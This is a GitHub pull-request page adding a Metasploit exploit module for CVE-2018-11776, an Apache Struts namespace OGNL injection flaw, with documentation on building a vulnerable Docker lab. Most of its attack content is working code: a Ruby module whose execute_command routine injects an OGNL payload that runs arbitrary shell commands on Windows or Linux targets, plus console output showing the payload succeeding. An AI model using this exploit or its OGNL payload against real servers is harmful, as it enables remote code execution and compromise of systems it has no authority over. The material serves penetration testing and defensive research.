New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
CVE-2018-11776: Struts Namespace RCE #10546
Merged
wchen-r7
merged 8 commits into
rapid7:master
from
asoto-r7:cve-2018-11776-struts-namespace-rce
Sep 7, 2018
Merged
Changes from 1 commit
Commits
Show all changes
8 commits
Select commit
Hold shift + click to select a range
b373dcc
First draft of module and documentation for struts_namespace_rce agai…
asoto-r7 35022d8
Added payload upload+execution and OGNL-specific URI encoding
asoto-r7 8fe8bf6
Renamed to match existing `struts2_content_type_ognl` and improved co…
asoto-r7 da7a29f
Documentation update
asoto-r7 cb16f81
struts2_namespace_ognl updates from code review
asoto-r7 7eb06b4
Address travis errors: Updated metadata and target OS logic
asoto-r7 3671f8f
Handling for Tomcat namespace issues, 'allowStaticMethodAccess' setti…
asoto-r7 99ca6ce
Quote-block cleanup and improved error handling
asoto-r7 File filter
Filter by extension
Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
There are no files selected for viewing
129 changes: 129 additions & 0 deletions
129
documentation/modules/exploit/multi/http/struts_namespace_rce.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,129 @@ | ||
CVE-2018-11776 is a critical vulnerability in the way Apache Struts2 handles namespaces and redirection, which permits an attacker to execute [OGNL(https://commons.apache.org/proper/commons-ognl/language-guide.html) remotely. Using OGNL, the attacker can modify files and execute commands. | ||
|
||
The vulnerability was reported to Apache by [Man Yue Mo] from Semmle in April 2018. It was widely publicized in August 2018, with PoCs appearing shortly thereafter. | ||
|
||
## Vulnerable Application | ||
|
||
The Struts showcase app, with a slight adaptation to introduce the vulnerability, works reliabliy as a practice environment. | ||
*@hook-s3c* did an amazing job with [their writeup](https://github.com/hook-s3c/CVE-2018-11776-Python-PoC/blob/master/README.md), which I'll include exerpts of here: | ||
|
||
1. From a stock Ubuntu VM, install docker: | ||
``` | ||
sudo apt update && sudo apt install docker.io | ||
``` | ||
|
||
2. Download a vulnerable Struts showcase application inside a docker container: | ||
``` | ||
sudo docker pull piesecurity/apache-struts2-cve-2017-5638 | ||
sudo docker run -d --name struts2 -p 32771:8080 piesecurity/apache-struts2-cve-2017-5638 | ||
CONTAINER_ID=`sudo docker ps -l -q` | ||
``` | ||
|
||
3. Now that the container is running, open a terminal inside of it: | ||
``` | ||
sudo docker exec -it $CONTAINER_ID /bin/bash | ||
``` | ||
|
||
4. From within the container, install your text editor of choice and modify the Struts configs: | ||
``` | ||
sudo apt update && sudo apt install nano | ||
nano /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml | ||
``` | ||
|
||
5. Update the struts config to add this to above line #11: | ||
``` | ||
<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" /> | ||
``` | ||
|
||
6. Update the same struts config file to add this above line #78: | ||
``` | ||
<action name="help"> | ||
<result type="redirectAction"> | ||
<param name="actionName">date.action</param> | ||
</result> | ||
</action> | ||
``` | ||
|
||
7. Still within the container, shutdown the environment: | ||
``` | ||
/usr/local/tomcat/bin/shutdown.sh | ||
``` | ||
|
||
8. Upon completion, the container will shutdown and you'll return to the host environment. Restart the container, now with a vulnerable endpoint: | ||
``` | ||
sudo docker start $CONTAINER_ID | ||
``` | ||
|
||
Congratulations. You now have a vulnerable Struts server. If you're following these instructions, your server should be listening on 0.0.0.0:32771. To confirm: | ||
``` | ||
INTERFACE=`ip route list 0.0.0.0/0 | cut -d' ' -f5` | ||
IPADDRESS=`ip addr show $INTERFACE | grep -Po 'inet \K[\d.]+'` | ||
PORT_NUM=`sudo docker port $CONTAINER_ID | sed 's/.*://'` | ||
echo "Struts container is listening on $IPADDRESS:$PORT_NUM" | ||
``` | ||
|
||
## Verification Steps | ||
|
||
Confirm that check functionality works: | ||
- [ ] Install the application using the steps above. | ||
- [ ] Start msfconsole. | ||
- [ ] Load the module: ```use exploit/multi/http/struts_namespace_rce``` | ||
- [ ] Set the RHOST. | ||
- [ ] Set an invalid ACTION: ```set ACTION wrong.action``` | ||
- [ ] Confirm the target is *not* vulnerable: ```check``` | ||
- [ ] Observe that the target is *not* vulnerable: ```The target is not exploitable.``` | ||
- [ ] Set a valid ACTION: ```set ACTION help.action``` | ||
- [ ] Confirm that the target is vulnerable: ```The target is vulnerable.``` | ||
|
||
Confirm that command execution functionality works: | ||
- [ ] Set a payload: ```set PAYLOAD cmd/unix/generic``` | ||
- [ ] Set a command to be run: ```set CMD hostname``` | ||
- [ ] Run the exploit: ```run``` | ||
- [ ] Confirm the output is the container ID of your docker environment, e.g: ```b3d9b350d9b6``` | ||
- [ ] You will not be given a shell (yet). | ||
|
||
Confirm that payload upload and execution works: | ||
- [ ] It doesn't (yet). | ||
## Options | ||
|
||
**TARGETURI** | ||
|
||
The path to the struts application. Note that this does not include the endpoint. In the environment above, the path is `/`. | ||
|
||
**ACTION** | ||
|
||
The endpoint name. In the environment above, the endpoint is `help.action`. | ||
|
||
## Scenarios | ||
|
||
### Version of software and OS as applicable | ||
|
||
Checking a vulnerable endpoint, as installed in the above steps. | ||
|
||
``` | ||
msf > use exploit/multi/http/struts_namespace_rce | ||
msf5 exploit(multi/http/struts_namespace_rce) > set RHOSTS 192.168.199.135 | ||
msf5 exploit(multi/http/struts_namespace_rce) > set RPORT 32771 | ||
msf5 exploit(multi/http/struts_namespace_rce) > set ACTION help.action | ||
ACTION => help.action | ||
msf5 exploit(multi/http/struts_namespace_rce) > check | ||
[+] 192.168.199.135:32771 The target is vulnerable. | ||
``` | ||
|
||
Running an arbitrary command on the above-described environment: | ||
|
||
``` | ||
msf5 exploit(multi/http/struts_namespace_rce) > set VERBOSE true | ||
msf5 exploit(multi/http/struts_namespace_rce) > set PAYLOAD cmd/unix/generic | ||
PAYLOAD => cmd/unix/generic | ||
msf5 exploit(multi/http/struts_namespace_rce) > set CMD hostname | ||
CMD => hostname | ||
msf5 exploit(multi/http/struts_namespace_rce) > run | ||
[*] Submitted OGNL: (#_memberAccess['allowStaticMethodAccess']=true).(#cmd='hostname').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush()) | ||
|
||
[*] Command ran. Output from command: | ||
b3d9b350d9b6 | ||
|
||
[*] Exploit completed, but no session was created. | ||
msf5 exploit(multi/http/struts_namespace_rce) > | ||
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,144 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Remote | ||
Rank = ExcellentRanking | ||
|
||
include Msf::Exploit::Remote::HttpClient | ||
include Msf::Exploit::CmdStager # https://github.com/rapid7/metasploit-framework/wiki/How-to-use-command-stagers | ||
|
||
def initialize(info = {}) | ||
super(update_info(info, | ||
'Name' => 'Apache Struts Jakarta Multipart Parser OGNL Injection', | ||
'Description' => %q{ | ||
This module exploits a remote code execution vulnerability in Apache Struts | ||
version 2.3 - 2.3.4, and 2.5 - 2.5.16. Remote Code Execution can be performed | ||
via an endpoint that makes use of a redirect action. | ||
|
||
Native payloads will be converted to executables and dropped in the | ||
server's temp dir. If this fails, try a cmd/* payload, which won't | ||
have to write to the disk. | ||
}, | ||
'Author' => [ | ||
'Man Yue Mo', # Discovery | ||
'hook-s3c', # PoC | ||
'asoto-r7', # Metasploit module | ||
'wvu-r7' # Metasploit module | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more.
|
||
], | ||
'References' => [ | ||
['CVE', '2018-11776'], | ||
['URL', 'https://lgtm.com/blog/apache_struts_CVE-2018-11776'], | ||
['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-057'] | ||
], | ||
'Privileged' => true, | ||
'Targets' => [ | ||
[ | ||
'Universal', { | ||
'Platform' => %w{ unix windows linux }, | ||
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ], | ||
}, | ||
], | ||
], | ||
'DisclosureDate' => 'Apr 10 2018', | ||
'DefaultTarget' => 0)) | ||
|
||
register_options( | ||
[ | ||
Opt::RPORT(8080), | ||
OptString.new('TARGETURI', [ true, 'A valid base path to a struts application', '/' ]), | ||
OptString.new('ACTION', [ true, 'A valid endpoint that is configured as a redirect action', 'showcase.action' ]) | ||
] | ||
) | ||
register_advanced_options( | ||
[ | ||
OptString.new('HTTPMethod', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ]) | ||
] | ||
) | ||
end | ||
|
||
def check | ||
# Generate two random numbers, ask the target to add them together. | ||
# If it does, it's vulnerable. | ||
a = rand(10000) | ||
b = rand(10000) | ||
c = a+b | ||
|
||
ognl = "#{a}+#{b}" | ||
|
||
begin | ||
resp = send_struts_request(ognl) | ||
rescue Msf::Exploit::Failed => error | ||
print_error(error.to_s) | ||
return Exploit::CheckCode::Unknown | ||
end | ||
|
||
# If vulnerable, the server should return an HTTP 302 (Redirect) | ||
# and the 'Location' header should contain the sum of our two numbers (a+b) | ||
if resp && resp.code == 302 && (resp.headers['Location'].include?c.to_s) | ||
vprint_status("Submitted OGNL: #{ognl}") | ||
vprint_status("Redirected to: #{resp.headers['Location']}") | ||
Exploit::CheckCode::Vulnerable | ||
else | ||
Exploit::CheckCode::Safe | ||
end | ||
end | ||
|
||
def exploit | ||
case payload.arch.first | ||
when ARCH_CMD | ||
resp = execute_command(payload.encoded) | ||
else | ||
fail_with(Failure::BadConfig,"Only cmd payloads are currently supported.") | ||
resp = send_payload() | ||
end | ||
end | ||
|
||
def send_struts_request(ognl) | ||
uri = normalize_uri("/${#{ognl}}/",datastore['ACTION']) | ||
|
||
resp = send_request_cgi( | ||
'encode' => true, | ||
'uri' => uri, | ||
'method' => datastore['HTTPMethod'] | ||
) | ||
|
||
if resp && resp.code == 404 | ||
fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI and ACTION') | ||
end | ||
resp | ||
end | ||
|
||
def execute_command(cmd_input) | ||
# The following OGNL will run arbitrary commands on Windows and Linux | ||
# targets, as well as returning STDOUT and STDERR. | ||
# In my testing, the request timed out after 3 seconds. | ||
ognl = "(#_memberAccess['allowStaticMethodAccess']=true)." | ||
ognl << "(#cmd='" + cmd_input + "')." | ||
ognl << "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." | ||
ognl << "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd}))." | ||
ognl << "(#p=new java.lang.ProcessBuilder(#cmds))." | ||
ognl << "(#p.redirectErrorStream(true))." | ||
ognl << "(#process=#p.start())." | ||
ognl << "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." | ||
ognl << "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." | ||
ognl << "(#ros.flush())" | ||
|
||
vprint_status("Submitted OGNL: #{ognl}") | ||
|
||
resp = send_struts_request(ognl) | ||
|
||
if resp && resp.code == 200 | ||
print_status("Command ran. Output from command:\n#{resp.body}") | ||
else | ||
print_error("Failed to run command. Response from server: #{resp.to_s}") | ||
end | ||
end | ||
|
||
def send_payload(exe) | ||
# TODO: Have the ability to upload/run payloads | ||
|
||
# send_struts_request(ognl) | ||
end | ||
end |
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
We should probably add you to
.mailmap
. cc @wchen-r7There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
It looks like Aaron's name is in .mailmap. Let me know if it doesn't work.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
My bad! Disregard. (: